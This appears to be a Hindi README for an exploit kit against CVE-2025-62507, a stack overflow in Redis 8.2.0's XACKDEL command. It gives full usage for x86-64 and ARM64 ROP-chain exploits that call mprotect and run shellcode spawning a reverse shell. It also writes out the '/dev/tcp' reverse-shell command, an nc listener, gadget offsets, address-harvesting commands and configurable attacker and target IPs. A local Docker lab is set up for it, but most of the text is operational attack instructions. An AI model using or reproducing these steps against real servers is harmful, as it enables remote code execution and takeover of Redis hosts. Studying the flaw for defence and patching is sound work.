एक्सप्लॉइट स्क्रिप्ट्स — CVE-2025-62507
निर्देशिका संरचना
scripts/
├── exploit_x86.py # x86-64 ROP एक्सप्लॉइट
├── exploit_arm64.py # ARM64 (AArch64) ROP एक्सप्लॉइट
└── gdb_with_symbols.sh # GDB डीबग सहायक स्क्रिप्ट
कमजोरी सारांश
| आइटम | विवरण |
|---|
| CVE | CVE-2025-62507 |
| कमजोरी प्रकार | स्टैक बफर ओवरफ्लो (Stack Buffer Overflow) |
| प्रभावित घटक | Redis 8.2.0 xackdelCommand फ़ंक्शन |
| ट्रिगर विधि | XACKDEL कमांड 52 से अधिक streamID के साथ |
| शोषण तकनीक | ROP श्रृंखला → mprotect द्वारा स्टैक निष्पादन अनलॉक → रिवर्स शेल के लिए शेलकोड |
| निर्भरता | Python 3 (केवल मानक लाइब्रेरी, कोई अतिरिक्त स्थापना आवश्यक नहीं) |
पूर्वापेक्षाएँ
- लक्ष्य वातावरण: Redis 8.2.0 (कमजोर संस्करण) चलाने वाला Docker कंटेनर या होस्ट
- श्रवण टर्मिनल: हमलावर मशीन को पहले
nc -lvnp 4444 शुरू करना होगा ताकि रिवर्स शेल का इंतज़ार किया जा सके
- पता प्राप्त करने की अनुमति: लक्ष्य प्रक्रिया के
/proc/<PID>/maps को पढ़ने में सक्षम होना चाहिए (रूट अनुमति)
- Python 3: दोनों एक्सप्लॉइट स्क्रिप्ट केवल मानक लाइब्रेरी (
socket, struct, time, sys) का उपयोग करती हैं
त्वरित आरंभ
1. कमजोर Redis कंटेनर प्रारंभ करें
# प्रोजेक्ट रूट डायरेक्टरी में निष्पादित करें
docker compose -f docker-compose-vulnerable.yml up -d
# कंटेनर चल रहा है इसकी पुष्टि करें
docker ps | grep redis-cve-2025-62507
2. महत्वपूर्ण मेमोरी पते प्राप्त करें
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 पता प्राप्ति
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
नोट: हर बार कंटेनर पुनः प्रारंभ होने पर पते बदल जाते हैं (ASLR), इन्हें दोबारा प्राप्त करना होगा।
3. रिवर्स शेल श्रवण प्रारंभ करें
# होस्ट पर एक अलग टर्मिनल खोलें
nc -lvnp 4444
4. एक्सप्लॉइट चलाएँ
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU निश्चित पता, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — x86-64 ROP एक्सप्लॉइट
उपयोग
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
पैरामीटर विवरण
ROP श्रृंखला आर्किटेक्चर
52 भरण ID (1-1)
│
▼
ID#53 ओवरफ़्लो ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ शेलकोड ──→ system("/bin/bash -c '...'")
गैजेट ऑफ़सेट (redis-server-8.2.0)
कस्टम रिवर्स शेल पता
reverse_shell_cmd वेरिएबल स्क्रिप्ट की पंक्ति 149 पर परिभाषित है, डिफ़ॉल्ट मान इस प्रकार है:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
संशोधन विधि: exploit_x86.py संपादित करें, reverse_shell_cmd पंक्ति ढूँढें, IP और पोर्ट बदलें:
पोर्ट संशोधन: /dev/tcp/<IP>/4444 में 4444 को वास्तविक श्रवण पोर्ट से बदलें।
stack_page की गणना stack_addr पैरामीटर के आधार पर गतिशील रूप से की जाती है: (stack_addr + 0x1000) & ~0xFFF, यह सुनिश्चित करता है कि mprotect विंडो शेलकोड वाले स्टैक क्षेत्र को कवर करे। यदि स्टैक लेआउट असामान्य है, तो समायोजन आवश्यक हो सकता है।
exploit_arm64.py — ARM64 ROP एक्सप्लॉइट
उपयोग
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
पैरामीटर विवरण
ARM64 नोट: stack_addr xackdelCommand प्रवेश के समय SP का मान है ([stack] सेगमेंट का प्रारंभिक पता नहीं!)। static_ids[0] = stack_addr - 0x310, call() का सेव किया गया x30 stack_addr + 8 पर है (अर्थात static_ids[49].seq)।
ROP श्रृंखला आर्किटेक्चर
49 भरण ID (1-1)
│
▼
ID#49-58 call() समाप्ति फ्रेम (10 IDs) — call() के सेव किए गए रजिस्टरों और स्थानीय चर को ओवरराइट करता है
│ #49: सेव किया गया x29 (डमी) + x30 (G5)
│ #50: सेव किया गया x19/x20, #51: सेव किया गया x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: स्थानीय चर (0 पर सेट)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 चरण 1: G5 (redis + 0x1a4d40) x0=लेखन योग्य, → G_SET_X2_7
ID#62-65 चरण 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 चरण 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 चरण 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 चरण 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 चरण 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 चरण 7: BLR_X3 (redis + 0x92bc4) call mprotect → शेलकोड
ID#99+ शेलकोड — system("/bin/bash -c 'reverse_shell_cmd'")
महत्वपूर्ण: call() का एपिलॉग ret से पहले स्टैक से x19-x28 को पुनर्स्थापित करता है और कई स्थानीय चर पढ़ता है। ID#49-58 को सुरक्षित मानों से भरना चाहिए, अन्यथा एपिलॉग निष्पादन के दौरान क्रैश हो जाएगा। ROP श्रृंखला ID#59 (call() ret के बाद SP स्थान) से शुरू होती है।
गैजेट ऑफ़सेट (redis-server-8.2.0-arm64)
गैजेट ऑफ़सेट (libc.so.6-arm64, Docker कंटेनर के अंदर)
नोट: LDR_X1_SIDELOAD में mov x0, x1 साइड इफ़ेक्ट है, निष्पादन के बाद x0 x1 से ओवरराइट हो जाएगा! बाद में x0 को फिर से सेट करने के लिए G5 या LDR_X0_CLEAN का उपयोग करें।
कस्टम रिवर्स शेल पता
reverse_shell_cmd build_exploit_arm64() फ़ंक्शन में rev_shell_host और rev_shell_port पैरामीटर के आधार पर गतिशील रूप से बनाया गया है:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
अनुशंसित विधि: कमांड लाइन पैरामीटर के माध्यम से रिवर्स पता निर्दिष्ट करें:
# डिफ़ॉल्ट: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# कस्टम रिवर्स पता और पोर्ट:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
सीधे संशोधन: exploit_arm64.py संपादित करें, exploit() फ़ंक्शन के डिफ़ॉल्ट पैरामीटर मान बदलें:
GDB डीबगिंग
gdb_with_symbols.sh का उपयोग
# Redis PID प्राप्त करें
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# GDB प्रारंभ करें और स्वचालित रूप से ब्रेकपॉइंट सेट करें
./scripts/gdb_with_symbols.sh $REDIS_PID
स्क्रिप्ट स्वचालित रूप से:
binaries/redis-server-8.2.0 प्रतीक तालिका लोड करेगी
xackdelCommand पर ब्रेकपॉइंट सेट करेगी
mprotect पर ब्रेकपॉइंट सेट करेगी
system पर ब्रेकपॉइंट सेट करेगी
महत्वपूर्ण ब्रेकपॉइंट स्थान
# xackdelCommand प्रवेश — सामान्य स्टैक लेआउट देखें
break xackdelCommand
# 53वें streamID के लिखे जाने के बाद — रिटर्न पता ओवरराइट होने का निरीक्षण करें
# (लूप बॉडी के अंदर शर्त ब्रेकपॉइंट सेट करें)
# mprotect कॉल से पहले — पैरामीटर rdi/rsi/rdx सत्यापित करें
break mprotect
# system कॉल से पहले — सत्यापित करें कि rdi कमांड स्ट्रिंग की ओर इंगित करता है
break system
एक्सप्लॉइट के महत्वपूर्ण चरणों का सत्यापन
# 1. xackdelCommand में प्रवेश के बाद, static_ids सरणी स्थान ढूँढें
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. जब mprotect ब्रेकपॉइंट ट्रिगर हो, पैरामीटर सत्यापित करें
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# अपेक्षित: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. mprotect लौटने के बाद, RAX/X0 की जाँच करें (=0 सफलता दर्शाता है)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. शेलकोड निष्पादन का निरीक्षण करें
(gdb) x/20i $rsp # x86-64: call rsp के बाद शेलकोड
(gdb) x/20i $x30 # ARM64: कूदने से पहले रिटर्न पता
समस्या निवारण
पर्यावरण सफाई
# कंटेनर रोकें और हटाएँ
docker compose -f docker-compose-vulnerable.yml down
फ़ाइल संदर्भ